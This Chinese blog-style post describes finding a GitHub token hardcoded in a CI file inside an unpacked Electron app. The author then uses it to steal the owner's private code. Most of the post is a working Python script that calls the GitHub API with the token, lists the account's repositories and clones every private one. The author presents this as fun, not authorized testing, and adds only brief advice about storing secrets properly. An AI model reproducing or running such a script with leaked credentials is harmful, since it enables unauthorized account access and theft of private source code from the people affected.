背景
今天逆electron程序,解包后看到了一个.github
目录,打开后现这个人使用github ci,并且这个人很愚蠢的是把github的token写死到yml文件中了(切记这种是可以直接配置github的secrets参数的)
接着好玩的就来了,写一个脚本直接dump别人所有的代码库,下来品鉴品鉴
# pip install GitPython
import http.client
import json
import git
import os
GH_TOKEN = "xxxxxx"
conn = http.client.HTTPSConnection("api.github.com")
payload = ''
headers = {
'Authorization': 'Basic xxxxxxxxxxx',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36"
}
conn.request("GET", "/user/repos?per_page=100", payload, headers)
res = conn.getresponse()
data = res.read()
print(data.decode("utf-8"))
repos = json.loads(data.decode("utf-8"))
for repo in repos:
print(f"Dumping | {repo['name']} | {repo['private']}")
if repo['private'] != True:
continue
try:
cloneDir = f"./repos/{repo['name']}"
os.makedirs(cloneDir)
git.Git(cloneDir).clone(f"https://{GH_TOKEN}:x-oauth-basic@github.com/{repo['full_name']}")
except Exception as e:
print(e)
continue
最后简述
- 在electron打包的时候,一定要注意不要打包一些token等密钥信息了
- 任何构建平台都用secrets 不要直接写死了,大部分ci平台都支持